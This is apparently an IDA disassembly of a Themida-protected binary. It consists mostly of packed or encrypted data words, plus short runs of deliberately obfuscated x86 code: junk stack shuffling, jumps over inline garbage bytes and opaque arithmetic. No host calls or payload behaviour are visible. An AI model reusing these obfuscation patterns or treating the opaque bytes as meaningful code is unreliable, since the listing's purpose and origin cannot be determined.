		dd 45910D80h, 3B5A109Dh, 0EB40925Ah, 7A607D5Dh,	546068EAh
		dd 27567509h, 109D45B3h, 6D5FF3DCh, 5BDB77B9h, 0A0B1D491h
		dd 66440E9Eh, 0F5EF444h, 83D27ACBh, 0D5CEC3Fh, 0F1D579C9h
		dd 465AEB5Fh, 0F2C6AF4Ch, 9570B80h, 0EA005A8Bh,	44C9109Ch
		dd 5AA18625h, 401CAAD6h, 123826AEh, 0D27ECDC2h,	5B86A2B3h
		dd 12A68C2Bh, 8429638h,	0C310D839h, 8E336F92h, 0FA7FC816h
		dd 9C40E90h, 795F7F1Eh,	0DAD667EBh, 0A1D4F38Bh,	0A89BC29h
		dd 68E6785Ah, 0B330B8D9h, 0FA4E418Fh, 0E1800150h, 83E26EBDh
		dd 9EC19EB2h, 89BBF36Fh, 4596BC0Ah, 0BADB3A0Bh,	0AF63D832h
		dd 75DF6E21h, 0E6C4A5E4h, 1DE74C4h, 74C589D9h, 201CCB15h
		dd 411EBDC9h, 0BC73EF1Eh, 1AA70A89h, 5DEA2B3Ah,	1051B038h
		dd 0A1107ABAh, 0EC7C5E7Ch, 0CD624866h, 0C2FD5B7Bh, 0F14051E0h
		dd 7EBA0263h, 9B842363h, 733660CAh, 48955F17h, 8ED9FC15h
		dd 8F123D16h, 92818D9Fh, 78DC694Dh, 78C9A8E9h, 6662745Bh
		dd 53E26EBDh, 0F48B8D32h, 0FB4B8D57h, 0A3D57353h, 0C2E8C7BDh
		dd 0C8DDC6Eh, 76D425C4h, 0CD109DB5h, 0D4A4C841h, 0B6A341EAh
		dd 0BF093F94h, 2958h, 6DBDFE00h, 0A52150E1h, 0E7109DB4h
		dd 0CC5E14A5h, 95B12482h, 49109D92h, 993657FBh,	2830EAEh
		dd 0A7311EADh, 0FFFFB6ACh, 6CBD12FFh, 5A5EAE1Ah, 2746FC94h
		dd 0A3F6500Bh, 0C16BC7BDh, 0DE994767h, 3741A641h, 15000000h
		dd 0B004BDA3h, 0C25FFB9Ah, 96F76EDDh, 717BF64Fh, 175C4364h
		dd 9EB404CBh, 48F1C739h, 0B03859F7h, 9DCFF551h,	35FBE10h
		dd 6DBD68C2h, 0E37D45E1h, 37C4h, 0BDA36A00h, 0E5C26BC7h
		dd 16DE6ABDh, 9DB51B77h, 0AF8B0A10h, 0E0C268C2h, 87DCFE4Ch
		dd 85D5F7C1h, 4275C603h, 92F36EEFh, 70E5C2B8h, 109DB516h
		dd 0E56DFBDFh, 8DA3C84h, 8EDF6BBDh, 9DB4A3FFh, 386D710h
		dd 49C899B1h, 0A5351928h, 557998A9h, 14FA4B07h,	0BC100576h
		dd 0B709B952h, 0E5C41FCDh, 0F899C73Dh, 0E868F7DBh, 7883F2E0h
		dd 8B109E3Bh, 0FFF3E32Eh, 0E0C294FFh, 87DCFE4Ch, 85D5F7C1h
		dd 73C8EAC9h, 0BB0584D5h, 7B48A19Dh, 0B1D061E9h, 3F82F3D0h
		dd 98168EA4h, 1F2E20B2h, 3FCE9FFEh, 0A8A9DDFh, 0D7062936h
		dd 0A8A9E7Bh, 8DF7C144h, 0F96C4BFCh, 0A8A9D9Dh,	459D2766h
		dd 5AAD0F77h, 11DFh, 0AEDF0000h, 0A8A9634h, 865098FDh
		dd 1C4h, 0BEA36A00h, 0E6CCEBC8h, 2869F852h, 84E461A0h
		dd 68AD168Eh, 0E965F5D9h, 72C6ECC9h, 0B889C515h, 0E8293859h
		dd 84EFA1E0h, 0AE940A8Ah, 0A5A7311Bh, 0B2983612h, 3D1A2B1Dh
		dd 3D87C315h, 0E38D3A17h, 2127BC66h, 770BA082h,	7BEE8A2Ah
		dd 273657E6h, 0DA00DEE6h, 3A5C587h, 0CA8AD7B2h,	28B81A7Bh
		dd 9BFA1B2Ah, 2A9FE9FBh, 0AF2B5A7Dh, 780A8A1Eh,	2E22B115h
		dd 0E4F6FE1Fh, 0E5A63851h, 2667F652h, 0A1892647h, 0EB2A3B0Fh
		dd 477230E1h, 0A3C1DE89h, 0E231h, 0BAA30500h, 0FE9FB301h
		dd 0E66AF9E1h, 0E5C284DEh, 52E36FBDh, 0FB5AA933h, 0F2109DB4h
		dd 68C2C763h, 1670E5C2h, 0DF109DB5h, 66DC36BEh,	0E56194B3h
		dd 0AE109DB4h, 0BDFB656Fh, 0DCC3E06Ch, 0BFED8523h, 17C10B9Bh
		dd 0FF4DE0C2h, 46A52F6Eh, 9BDA38Ch, 9DB57AD4h, 0C842B310h
		dd 91109DB4h, 0CB1B3F0Ch, 3253B283h, 67C1F753h,	0FE4CE0C2h
		dd 3EA62E6Fh, 0A641DE6Eh, 0B6982A10h, 475E66A7h, 1Ch, 0C7BDA31Bh
		dd 3793C26Bh, 109DB5h, 68C2C19Dh, 45E16DBDh, 35C4E37Dh
		dd 6A000000h, 6BC7BDA3h, 0B53793C2h, 0F426109Dh, 290A2864h
		dd 29D4B50Ah, 0C20D2948h, 0E16DBD68h, 7F607D45h, 9DB4940Eh
		dd 0B7A5D10h, 109DB48Fh, 72543558h, 0F7616BDDh,	0FFFF22C4h
		dd 70C3E7FFh, 0B56FEB1Ah, 0D538109Dh, 0BDB22CB4h, 0DB431A6Ch
		dd 0A72AA4D9h, 92F3109Eh, 0DED3352Dh, 0D332034Dh, 93C110B2h
		dd 132243C2h, 91BB0E34h, 0CE697BC0h, 10E6CEB3h
		dd 0D4656771h, 35E5A78h, 51E06EC0h, 50725130h, 0DBFF4EFCh
		dd 1AA2C38Bh, 0C83D1A3Dh, 109EAF4Eh, 0D38A417Fh, 223167B1h
		dd 0DC10341Dh, 7011B2C1h, 5EA82253h, 2C71109Eh,	4D0865A4h
		dd 0D901168Fh, 9FAFFF86h, 1F2E4FCEh, 5179F6FEh,	0FF6E4D01h
		dd 0A8B48A3h, 0F948296Ch, 8B490A88h, 9425610Ah,	0AC72A868h
		dd 51105Ah, 7FA30000h, 86E55C32h, 82E6482Fh, 0A37FD9E3h
		dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h,	2B546C0h
		dd 5DDCB71Dh, 0A0D53147h, 0A89E526h, 5CFAEEFh, 0ADDA9F5Dh
		dd 0EB475Ah, 0B7980000h, 89F0CC46h, 0A2B0000Ah,	0DDE57293h
		dd 2E6FFE4Ah, 0C2DB854Fh, 7D8497DDh, 8A52F384h,	6A91F548h
		dd 83A39A32h, 0C3075637h, 0DE01DE76h, 9F7D61F9h, 64155DBDh
		dd 109E37EAh, 0C36D52B3h, 0FBC249ACh, 1D21C008h, 4D71C08Ch
		dd 37250FCh, 109E01CFh,	4D6AE273h, 0E677D365h, 1E3F1DA7h
		dd 90497039h, 4FDD542Ah, 785A6203h, 0DAD667E5h,	0A5D8F78Fh
		dd 168F7F38h, 3B1FBCE1h, 3A18A0A8h, 4A3E3FEh, 75E655D1h
		dd 0A03F5E10h, 89292BBAh, 97C1AA7h, 475D38Dh, 23563756h
		dd 79F9B9A3h, 132825C4h, 52000002h, 4E745204h, 4E7452FCh
		dd 507250FAh, 4F7151FFh, 41745202h, 24307DEEh, 3E14A486h
		dd 2325BAA0h, 400C9D83h, 7765962h, 16B7128Bh, 0BD213D54h
		dd 0BC902170h, 0FB4A6CADh, 0B89A3859h, 0A6872725h, 0D31D3384h
		dd 0C8BEA309h, 177AC7EBh, 0DCE485C5h, 988F8EFFh, 0EAD0168Eh
		dd 0ABDAF95Bh, 0A8A892Fh, 9E4B95F8h, 3F9FEE7Fh,	960A8A89h
		dd 9F5D7FFCh, 475AAD3Eh, 0AEh, 0E06CBD1Bh, 74E06D51h, 0B18294E5h
		dd 9326109Dh, 0B1108AFBh, 0B4D9109Dh, 82D3F5D5h, 243D7BCAh
		dd 0C5104562h, 6E168E81h, 5A8F8F2Fh, 835E8F2Ch,	4C1074DDh
		dd 0D980DA0Bh, 0C4490474h, 952406A5h, 1C3E1FBFh, 0DB73C3CCh
		dd 4D6AABBAh, 74D8BE18h, 0BE068704h, 52074D9Ch,	79F8BEDEh
		dd 37213CEBh, 2E000001h, 3218B6A0h, 2A10AEA0h, 3416B496h
		dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
		dd 2428B99Fh, 6392BD86h, 16B713E7h, 0C2C579B0h,	330250E0h
		dd 79C80AD2h, 84D5FBDBh, 3897B305h, 9DB549C5h, 92F31210h
		dd 6CBD9634h, 0DC6D51E0h, 52755270h, 9DB4A723h,	0A32D7010h
		dd 97345297h, 8E92EF66h, 0A53A2016h, 49CC19A3h,	57F5486Ah
		dd 4C005177h, 1EAABFFDh, 8A8F73EFh, 3414A70Ah, 0BC942327h
		dd 6C0D6CADh, 0D1971E4Fh, 55B81071h, 0F5327620h, 0DDF8AF79h
		dd 9Ah,	0F7D77FCBh, 0EDCD81D1h,	0F1D179CBh, 0F2D080CFh
		dd 0F3D381D0h, 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h
		dd 0D521FBFh, 0B7157ED8h, 70D24716h, 0BF02BEA3h, 0BF555D87h
		dd 92C3E081h, 1685D607h, 7A5CED30h, 634565E7h, 9AEB7AD2h
		dd 0FCC4A693h, 3DB08FB0h, 0F8448FE1h, 3B19A8AAh, 2D8AEB2Ah
		dd 44905EB8h, 0DEE627F8h, 0DA6B17B4h, 0DB6E5472h, 4DDEE071h
		dd 0F41E3203h, 321AAB57h, 311BAE94h, 2FFC2320h,	55ED9B3h
		dd 51E074C1h, 0DD6D5130h, 36C6771h, 0D2000000h,	71BDE17Bh
		dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
		dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 83221524h, 3C8904ECh
		dd 81E78924h, 4C7h, 4EF8300h, 5C243C87h, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	68242C89h, 49F8h, 57240C89h, 5C175ABFh
		dd 2EB5BD38h, 0FD01CDBDh, 81243C8Bh, 4C4h, 4EC8300h, 81242489h
		dd 42404h, 50590000h, 868h, 0C8015800h,	0FF582889h, 83592434h
		dd 34FF04C4h, 0C4815D24h, 4, 0FA201FE9h, 0CDB825FFh, 3061960h
		dd 85C650C5h, 61311E1h,	17256847h, 0B5FFCF38h, 613116Dh
		dd 3AAD858Dh, 0D0FF0613h, 858DD88Bh, 6132609h, 1046850h
		dd 0D3FF0000h, 11E185C6h, 68530613h, 8307F8BFh,	116DB5FFh
		dd 858D0613h, 6133AADh,	8589D0FFh, 61943D9h, 1F95BD83h
		dd 0F000613h, 0B84h, 819D8B00h,	0E9061330h, 5, 0BBh, 1006800h
		dd 0B58D0000h, 61943DDh, 95FF5356h, 6131925h, 43DDB58Dh
		dd 0F0030619h, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 1943DD85h, 95FF5006h,	61943D9h
		dd 0EBE0FF58h, 66175D7Dh, 0F414477Ch, 363C705Fh, 0D94769A3h
		dd 8C3F58C2h, 5B5787A8h, 35171906h, 9F13FF5Fh, 4222C227h
		dd 7E1D21F4h, 944999C1h, 0E874DE67h, 8,	6B9EFE0Eh, 59B7F301h
		dd 0B95858B1h, 18E35D50h, 62A0C081h, 28B10000h,	68h, 820F00h
		dd 5B000000h, 0DAD5B966h, 570334FFh, 14E9h, 7B3A0900h
		dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 665E5972h
		dd 0F681CB8Bh, 2384F5F9h, 82FABF66h, 2DA9F681h,	8B6636F3h
		dd 0C2EE81D3h, 6611AA56h, 56B5F3BAh, 8F5FFC53h,	8B661804h
		dd 17800FD1h, 0E8000000h, 0Fh, 8DC94E4Fh, 24888EE7h, 792D36D0h
		dd 8A8B1C2Ch, 0EB835AF5h, 8E904h, 6F000000h, 7A420349h
		dd 0FB8179DDh, 0FFFF9E18h, 0FF7E850Fh, 0DE9FFFFh, 6A000000h
		dd 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0FE8h, 0D1C36000h
		dd 0F9EFAA4h, 65B4545Ah, 33AECC65h, 284DC181h, 805A5A06h
		dd 0C281C9E9h, 5E1Ah, 0FE9h, 7EAA0700h,	0F20ECF4Ch, 7127BC53h
		dd 72C3EBCAh, 175068h, 8E0F00h,	58000000h, 14E8h, 0DFE50F00h
		dd 0DEE88B2Bh, 7F712244h, 535E4FBAh, 0D58CF388h, 5B3BB198h
		dd 0C681328Bh, 14BB0D98h, 0C2C3EE81h, 0E8601E0Ah, 7, 2B6658h
		dd 0F320947h, 0E95EF0BFh, 0Ah, 2DD69FE9h, 60158619h, 81618064h
		dd 52EB49C6h, 56CF8A0Bh, 0A860Fh, 8F0F0000h, 4,	0B915BF66h
		dd 0BF66028Fh, 0EA810E88h, 109D282Eh, 38BEDF81h, 0C2813AA6h
		dd 109D282Ah, 0A4F1E4B9h, 1E88135h, 0F000000h, 0FFFF8F85h
		dd 0C860FFFh, 0F000000h, 687h, 8A0F00h,	8D000000h, 1964678Dh
		dd 3FC6006h, 130DAD85h,	8D896106h, 6131BBDh, 1F58529h
		dd 0BD0B0613h, 6131999h, 18DD85C7h, 6E580613h, 8B660000h
		dd 5585C7C2h, 61330h, 0F000000h, 1988h,	7E800h,	28B00000h
		dd 69D76843h, 7E94Fh, 180A0000h, 34A819D7h, 0B58B5A5Eh
		dd 61313A1h, 13D1B5FFh,	6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 440887C3h, 0BB18FA4h
		dd 95FFA1B0h, 6131D89h,	1AA99D29h, 6A0613h, 0DA995FFh
		dd 0C08B0613h, 930F3AEBh, 2F6E49C0h, 0CF6F56BEh, 0D02B16EBh
		dd 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 736BC0E5h, 1ECA4233h
		dd 0A5746C49h, 10336CEh, 40BF685Bh, 4A2144F3h, 0CFF9CFEDh
		dd 78E1D9D5h, 45E9h, 27561D00h,	1D8C9344h, 81E89DE6h, 64746E2Eh
		dd 642E6C6Ch, 67006C6Ch, 3B2BD14h, 0FEB980h, 9 dup(0)
		dd 14E90000h, 68000007h, 619664Eh, 0FA1C63E9h, 672D68FFh
		dd 59E90619h, 68FFFA1Ch, 61967B8h, 0FA1C4FE9h, 68AA68FFh
		dd 45E90619h, 68FFFA1Ch, 6196986h, 0FA1C3BE9h, 6A7068FFh
		dd 31E90619h, 0EEFFFA1Ch, 0F2D8F660h, 0EAD0EE60h, 0F4D6F456h
		dd 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah, 0E270C0E2h, 0FF49DEC4h
		dd 0E468F9DFh, 0A3D2FDC6h, 16B71A27h, 0C485B9F0h, 40h
		dd 0E06CBD6Ah, 0FE4EDFC3h, 25377F6h, 1B4A6D4Ah,	109DB4BFh
		dd 5AEB63F3h, 0DFE92C3Bh, 0B50482F1h, 5D45109Dh, 0DF69BECDh
		dd 4C6EAFBEh, 4B8D57FDh, 5E968AF8h, 0A50A6682h,	0E8293814h
		dd 70CAE889h, 351E0C2h,	7BD60D32h, 4A2F903Eh, 4C95A12Bh
		dd 23B59D3Ah, 4DC09D27h, 168F1160h, 8278409h, 8B1179D5h
		dd 0D602AA0Ah, 6265680Eh, 0B928B0D5h, 8B2BCA48h, 0D6B3060Ah
		dd 1B7ACB85h, 56E7EB7Ah, 842667F6h, 0DA4E1F35h,	0AB322398h
		dd 153DEA5Fh, 984088C4h, 5AAC9DD8h, 21C80h, 0DD6F5300h
		dd 8E0466Dh, 7C425E24h,	0D0B9EA74h, 0F7D4B2B7h,	8EA5E786h
		dd 7295F816h, 0A0026ADBh, 0D1B5ACCEh, 0E79683F2h, 0DE3F4C4Ch
		dd 4E38318Fh, 0FACFFC71h, 0D93C4636h, 0C785D8FAh, 0DC70C1E7h
		dd 0B62F1DA9h, 5A7736AFh, 501h,	3797BF0Bh, 2D8DC111h, 3191B90Bh
		dd 3290C00Fh, 3393C110h, 6FBE2F00h, 55E3C5E5h, 68FBDDFDh
		dd 4DE0C2E0h, 0CD12DFFFh, 0B71B3E98h, 0B0920716h, 0B3226CBDh
		dd 109DB557h, 0AFDEFD20h, 109DB533h, 69F899FCh,	57F5486Ah
		dd 9038318Dh, 9DB5015Dh, 0ABA73510h, 2923B69Ch,	5B8A2948h
		dd 168E963Eh, 61F2D8F7h, 4E3F5EEFh, 0A8A93D4h, 0F370789Dh
		dd 810A3492h, 268501E8h, 7B8536B7h, 25C64710h, 0D9DAC3A8h
		dd 0CEB8B17Bh, 0B4B17CF1h, 0E5CA71CAh, 5C7EFF86h, 16E76D9h
		dd 0B18ECD9Ch, 0C6BBE23Ch, 70EA1B65h, 3965C6BCh, 0BE0687D4h
		dd 0C01F6782h, 0B4CFFE4Dh, 6AF7DB6Bh, 85E2EAh, 1E2E7FA3h
		dd 444699C1h, 0B03FB511h, 7E1F7E5Fh, 3826AEEFh,	0D88DBF12h
		dd 0D5340558h, 2293CE5Dh, 0EA000004h, 0F6DCFA5Ch, 0E6CCEA64h
		dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh
		dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B71C73h, 0C279E53Ch
		dd 0B51670E5h, 0BEDF109Dh, 0BB912436h, 33538EAAh, 0B18C6194h
		dd 8005168Eh, 8BFBE622h, 0CB0EB92Ch, 4C731071h,	0FAE37539h
		dd 0D3A616E4h, 0B56A8B30h, 0FF36F9Eh, 59BC0471h, 587A5938h
		dd 41674705h, 0AF0D5CF0h, 7EEFCCBAh, 0A6205F3h,	0D684F91Ch
		dd 773E1B7h, 3976560h, 0E9750000h, 0DB6B4D6Dh, 0DB6D5373h
		dd 0DA694F6Fh, 0E3725876h, 0CD625171h, 634311A0h, 4363EF3Dh
		dd 607ECA5Dh, 4565E77Ah, 0A822537Ch, 7116B71Bh,	6CBD0638h
		dd 51DFC3E0h, 0C28B701h, 5B10EBD5h, 6EFE60FCh, 643DB00Fh
		dd 25168F6Eh, 52DFC3E0h, 56B6AE3Ch, 8AEB04DFh, 0A2755ABBh
		dd 4A247A26h, 11302EB6h, 1CAh, 0ACD5B9ADh, 83F2D1B5h, 168EA5E2h
		dd 0B5114463h, 7E0A8AA2h, 0F518D51Fh, 7BEACD12h, 0A8AA31Fh
		dd 0EC1BA5E8h, 0DF8E32AEh, 90FB4B6Fh, 6A721341h, 5473134Eh
		dd 3EA18821h, 3504891Bh, 0D8223116h, 0ECEDEAF2h, 3291D8E4h
		dd 0AE04AB9Dh, 9362660Dh, 8CAE0D6Ch, 0CCB0173Dh, 0A6593CD8h
		dd 0E3123F89h, 15287494h, 0C589D901h, 57741574h, 4D6AE273h
		dd 56F4486Ah, 23E3AB27h, 0C7117409h, 3616A789h,	0A7AAA543h
		dd 2E2BC27Eh, 2A5h, 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h
		dd 5777DD6Ch, 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch
		dd 59764363h, 0B71CAA24h, 441E7316h, 0C3E06CBDh, 6DFC4CDFh
		dd 3F30D966h, 0B3D257F8h, 637EBA29h, 0A9E8423h,	2A5B7840h
		dd 168F4AEFh, 8FC11238h, 0E0899BEh, 5E597808h, 59815E3Fh
		dd 1B31840Bh, 22AACB4Ah, 0C1341334h, 0A8BA845h,	0D966EA79h
		dd 0B9262CB4h, 6A5E108h, 0A0B40129h, 9948E918h,	0E1C9107Ch
		dd 12310054h, 789767E3h, 8CED3004h, 0ADE06B27h,	0B03852AAh
		dd 9C31D233h, 92572B23h, 0B9167079h, 878FAD44h,	19411E7Bh
		dd 7DD988CCh, 466F837Bh, 2D70FDC7h, 0BDC9201Ch,	8FA0EF1Eh
		dd 880D7571h, 96B6072Bh, 8DBF1238h, 0F0C636D8h,	0ADA83FDEh
		dd 1C9h, 7F5FF743h, 65450959h, 7959F143h, 6A480857h, 7B5BF948h
		dd 3786E748h, 4D9BBD1Dh, 3083A505h, 4598BA18h, 0B59AA707h
		dd 0B71DC640h, 281A8F16h, 1670E5C2h, 0DF109DB5h, 0B5118D00h
		dd 0BBDA109Dh, 6DC012DAh, 0B572EC21h, 0DA3B109Dh, 0BBC645F5h
		dd 2C4DC37Dh, 0BCCA1F1Dh, 3F1BEE1Fh, 7194168Fh,	0BEA3F751h
		dd 67C4EBC8h, 9B8A1F9h,	6499C60Eh, 168527A5h, 5CF24466h
		dd 19B6D794h, 9FAEA231h, 0A6D14DC0h, 7B9A0A84h,	9D85D21Ah
		dd 4062400Ch, 0F26CA1EDh, 2B0A84A6h, 84A760BAh,	57E4290Ah
		dd 0AA065736h, 9BB104BFh, 0D7A8DDFAh, 0BC106BC2h, 0C0084296h
		dd 0DDC5E223h, 62EE3D4Ch, 0F3D3B2D3h, 81D07CCDh, 6B483E23h
		dd 0F5476B4Ch, 0D4850455h, 46B427Ah, 8BFAC243h,	0A5C224Eh
		dd 39037697h, 6E73DBE8h, 0DFA2BFh, 0A12D0000h, 0A33315B5h
		dd 93250BABh, 0A23117B7h, 9B2A10AEh, 52A19B9h, 0DBFB59E8h
		dd 0CBEB67F5h, 0D8F652E5h, 0CDED5FF2h, 30AADB04h, 0F916B71Fh
		dd 0BEA3BEA0h, 0C57AEBC8h, 0B21684D0h, 215BF68Dh, 1071C094h
		dd 889194ABh, 83C3F955h, 2243C20Ah, 0C3F65085h,	5EBF0A83h
		dd 0A5B4D996h, 0E87910A1h, 81A60564h, 2BBA0749h, 70218229h
		dd 1B3D1BA5h, 42B382CAh, 4C8A2F5Dh, 0EA7BD765h,	66F755E8h
		dd 0AC9932A0h, 30E2579Bh, 0F359EC9Dh, 0BB0E3492h, 0C0103291h
		dd 7ECF7FCFh, 0F7767E1Fh, 0E665EFD8h, 0D4A50AB7h, 0D779CA0Ch
		dd 0AB205286h, 0C8E666F7h, 0DC74C3E7h, 55F9498Dh, 17AAAC34h
		dd 1FB49635h, 0EC7DD766h, 7EEFCCADh, 0C8469D24h, 0C120A8EDh
		dd 0C84h, 5E7B2A00h, 0FD2C1F79h, 47917A45h, 0E571BD8Dh
		dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
		dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89502215h,	405E0h
		dd 0E8830000h, 24048704h, 2404895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	58443B6h
		pop	ebp
		inc	ebp
		add	ebp, 95217Ah
		push	ebp
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	298Dh
		mov	[esp], ebp
		mov	ebp, edi
		mov	[ecx+8], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 28h
		dd 0D553E142h, 0B8744705h, 6196B74h, 0E0FFC503h, 496571F8h
		dd 68C4D3F2h, 5BDDE22Dh, 7D865DFDh, 6A479F8Fh, 23EA76F0h
		dd 41894F46h, 44652C67h, 4551BEB0h, 62D68EC7h, 0D640927h
		dd 23A39CD2h, 3E79D1BEh, 3DF83083h, 5E14DC3Eh, 53204073h
		dd 50E2694h, 2EB23346h,	48AD5813h, 5D91099Bh, 28E6210Bh
		dd 4892512Bh, 5792AD77h, 6F9D87B9h, 1B5C0ACEh, 493721C2h
		dd 7AA75A65h, 7B60EBA3h, 6158FAB8h, 12E8h, 0B1BE9000h
		dd 98A55684h, 88AF316Ah, 5E19D58Fh, 66DB8D75h, 5FD64BBEh
		dd 0CBD28160h, 0F81090CDh, 95C78161h, 68000074h, 1CEEh
		dd 0F0B70F5Ah, 810F37FFh, 0
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_5E2F98
; ---------------------------------------------------------------------------
		dw 0B76Eh
		dd 897225EAh
; ---------------------------------------------------------------------------


loc_5E2F98:				; CODE XREF: Themida_:005E2F8Dj
		xor	eax, 3B2B8F6h
		mov	si, 0E1A2h
		sub	eax, 66BCABF0h
		sub	eax, 22F9CEC7h
		jmp	loc_5E2FC1
; ---------------------------------------------------------------------------
		db 47h
		dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h
		db 0E8h
; ---------------------------------------------------------------------------


loc_5E2FC1:				; CODE XREF: Themida_:005E2FAEj
		push	eax
		xor	ebx, 1C4E59F6h
		pop	dword ptr [edi]
		add	ebx, 202CED3Ah
		sub	edi, 158C463Dh
		jmp	loc_5E2FE8
; ---------------------------------------------------------------------------
		db 84h
		dd 0DE4CBFh, 0AB2746B0h, 3287D441h
; ---------------------------------------------------------------------------


loc_5E2FE8:				; CODE XREF: Themida_:005E2FD6j
		add	edi, 158C4639h
		jmp	loc_5E2FFA
; ---------------------------------------------------------------------------
		db 0C5h
		dd 50517968h
		db 0EAh, 88h
; ---------------------------------------------------------------------------


loc_5E2FFA:				; CODE XREF: Themida_:005E2FEEj
		sub	edx, 1
		jnz	loc_5E3015
		cld
		jmp	loc_5E3036
; ---------------------------------------------------------------------------
		dd 6CAE8FFBh, 1E8DB653h
		db 0EAh
; ---------------------------------------------------------------------------


loc_5E3015:				; CODE XREF: Themida_:005E3000j
		call	sub_5E3026
		sbb	[eax-2Fh], ecx
		arpl	di, bp
		and	edx, [esi+esi*4-65ECE838h]

; =============== S U B	R O U T	I N E =======================================



sub_5E3026	proc near		; CODE XREF: Themida_:loc_5E3015p
		or	cl, 3Ah
		pop	ebx
		jmp	near ptr dword_5E2ECC+0B8h
sub_5E3026	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0BDh
		dd 413013B5h
		db 0F3h, 77h
; ---------------------------------------------------------------------------


loc_5E3036:				; CODE XREF: Themida_:005E3007j
		jmp	loc_5E305E
; ---------------------------------------------------------------------------
		db 0E7h
		dd 30333Dh, 7 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E305E:				; CODE XREF: Themida_:loc_5E3036j
		jmp	loc_5E350B
; ---------------------------------------------------------------------------
		push	6196EA4h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6196F15h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6197067h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 74h,	0E6h, 70h
		dd 70DE7052h, 6EDC7052h, 77D96A50h, 70E47157h, 9FCC6352h
		dd 3E644212h, 644664EEh, 775979CFh, 7B4866E6h, 21A52154h
		dd 3B6E16B7h, 70E5C207h, 109DB516h, 0F2BD0E47h,	0AEBD3A19h
		dd 0E673656Fh, 6AFBDF6Eh, 9DC4C4E2h, 93997923h,	0FB9ACB38h
		dd 0E82CA9DCh, 90F5168Eh, 0E5D230C1h, 0BE0E0A8Ah, 0ADCC80D1h
		dd 292BBA9Ch, 0AE4BC718h, 0F794FEC7h, 0ACDB07D5h, 0E4C6E95Ah
		dd 2B6AFB51h, 8AF1E03Ah, 5C64A90Ah, 2BB45h, 0DFB91900h
		dd 783F2D5h, 0D0109DB5h, 3237834Dh, 67067754h, 78168EA5h
		dd 85ADF215h, 0C8491834h, 0C1788100h, 0BFAAE7E5h, 8075E8C7h
		dd 7913162Eh, 29064514h, 122C5AB4h, 331C2307h, 6A71DDC2h
		dd 88B43C5Dh, 57862561h, 0D02B4A2h, 0F5DDFA1Bh,	0E8CAE864h
		dd 6C82F755h, 7D76826Eh, 2FBF3EEh, 0D5610000h, 0AFFF2181h
		dd 0C7193F9Fh, 0AEFD2383h, 8F1E04A2h, 79B6E5C5h, 2F8FC514h
		dd 3797BB09h, 2C8ABE11h, 3999B306h, 64BE2F30h, 2D16B723h
		dd 0BEA34AF4h, 0B57FDB0Ah, 0C548109Dh, 0EBD607A4h, 441684DAh
		dd 4798F263h, 3C610A84h, 0F9D637B4h, 0F2D084D1h, 82D381D0h
		dd 84D05D45h, 0FD8C54B5h, 0E948DE9Ah, 90C587DAh, 80081644h
		dd 8AEFEA81h, 0D2000002h, 0CEF4D284h, 0CEF4D27Ch, 0D0F2D07Ah
		dd 0CFF1D17Fh, 0C1F4D282h, 0A4B0FD6Eh, 0BE942406h, 0A3A53A20h
		dd 0C08C1D03h, 87F6D9E2h, 16B7240Bh, 0A3A1BDD4h, 7AEBC8BEh
		dd 1684DA8Fh, 7441578h,	0AABB9323h, 0BD194C6Bh,	860A8447h
		dd 0D04EBD07h, 270A8447h, 6E2E4EEBh, 0D65AA775h, 18Ch
		dd 0E06CBD6Ch, 0B2DC6D51h, 0B4E66095h, 6EAF109Dh, 9DB4A3FFh
		dd 5238D410h, 0B12F19D0h, 0A40263A2h, 0DC437D64h, 0CF853858h
		dd 5E8F2C4Dh, 168EF023h, 0A9D869ACh, 0A8AEC29h,	0DD6F5380h
		dd 33BDDC6Dh, 98B760D9h, 8AEBE965h, 8953B20Ah, 0ACD103D1h
		dd 31AB5Ah, 260C0000h, 0A52FB993h, 0EBC8BEA3h, 8E989B7Ah
		dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 3887AB5Ah
		dd 0B7054918h, 2A4BCA9Bh, 0CE7BA2h, 0BDDF0000h,	6D51E06Ch
		dd 626AEE0h, 3A6AA8DAh,	36074598h, 0A3A7B6D7h, 2C2B3A12h
		dd 0CD9CB606h, 0FF52844Ch, 67506D4Dh, 0E1345F1h, 67E3126Ah
